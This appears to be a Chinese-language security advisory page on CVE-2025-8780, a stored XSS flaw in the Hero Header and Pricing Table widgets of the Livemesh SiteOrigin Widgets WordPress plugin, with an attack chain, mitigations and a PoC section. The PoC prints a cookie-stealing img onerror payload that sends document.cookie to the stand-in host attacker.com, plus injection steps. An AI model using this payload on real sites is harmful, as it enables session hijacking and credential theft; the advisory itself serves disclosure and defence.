CVE-2025-8780 CVSS 6.4 中危

CVE-2025-8780 Livemesh SiteOrigin Widgets存储型XSS漏洞

披露日期: 2025-12-13

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-8780

漏洞类型

存储型XSS (Stored Cross-Site Scripting)

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Livemesh SiteOrigin Widgets WordPress插件

漏洞概述

Livemesh SiteOrigin Widgets是WordPress平台上一款流行的站点构建组件插件，提供了丰富的可视化小部件功能。该插件在3.9.1及之前所有版本中存在严重的存储型跨站脚本(XSS)漏洞。漏洞根源在于插件的Hero Header（英雄标题）和Pricing Table（定价表格）小部件对用户提供的属性参数缺乏充分的输入清理和输出转义处理。攻击者只需拥有WordPress网站的贡献者(Contributor)级别账户权限，即可利用此漏洞在受影响的页面中注入任意JavaScript脚本代码。由于是存储型XSS，恶意脚本会被永久保存在服务器端，任何访问包含恶意内容页面的用户都会触发执行，包括管理员和其他高权限用户。这可能导致会话劫持、凭据窃取、恶意重定向、网页篡改等严重安全后果。

技术细节

该漏洞存在于Livemesh SiteOrigin Widgets插件的lsow-hero-image-widget和lsow-pricing-table-widget两个小部件的模板文件中（default.php）。问题根源是插件在处理用户输入的widget属性时，未能对HTML特殊字符进行正确的转义处理。攻击者通过WordPress小部件编辑界面，在Hero Header或Pricing Table的属性字段中注入包含JavaScript代码的恶意payload。由于插件直接将该属性值输出到HTML页面而未进行htmlspecialchars()等转义处理，注入的脚本代码会被浏览器解析执行。攻击者利用此漏洞可窃取用户Cookie信息、劫持用户会话、执行任意操作或传播恶意内容。修复方案需要在输出用户可控数据时使用esc_html()、esc_attr()等WordPress安全函数进行转义。

攻击链分析

STEP 1

信息收集

攻击者确认目标网站使用Livemesh SiteOrigin Widgets插件，版本 <= 3.9.1

STEP 2

账户获取

攻击者获取WordPress网站的Contributor级别账户访问权限

STEP 3

漏洞利用

通过WordPress小部件管理界面，在Hero Header或Pricing Table属性字段中注入恶意XSS payload

STEP 4

脚本存储

恶意脚本随小部件数据被永久存储到WordPress数据库中

STEP 5

脚本触发

受害用户访问包含恶意小部件的页面时，浏览器解析并执行注入的JavaScript代码

STEP 6

攻击完成

攻击者通过执行脚本窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-8780 PoC: Stored XSS in Livemesh SiteOrigin Widgets -->
<!-- Requirements: Contributor-level WordPress account -->
<!-- Affected: Hero Header and Pricing Table widgets <= 3.9.1 -->

<!-- PoC Payload for Hero Header Widget -->
<script>alert(document.cookie)</script>

<!-- Alternative payload using img onerror -->
<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>

<!-- PoC Steps: -->
<!-- 1. Login to WordPress with Contributor account -->
<!-- 2. Navigate to Appearance > Widgets -->
<!-- 3. Add 'Hero Image' or 'Pricing Table' widget to a sidebar -->
<!-- 4. In widget settings, inject XSS payload in text fields -->
<!-- 5. Save widget - payload is stored in database -->
<!-- 6. Any user visiting the page will execute the injected script -->

影响范围

Livemesh SiteOrigin Widgets <= 3.9.1 (所有版本)

防御指南

临时缓解措施

如果无法立即升级插件，可临时采取以下缓解措施：1) 临时禁用Hero Header和Pricing Table小部件；2) 限制只有管理员可以编辑小部件内容；3) 使用Web应用防火墙（WAF）规则拦截包含<script>标签的请求；4) 加强对Contributor级别用户的审核和监控。但最根本的解决方案仍是升级到插件官方最新版本。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表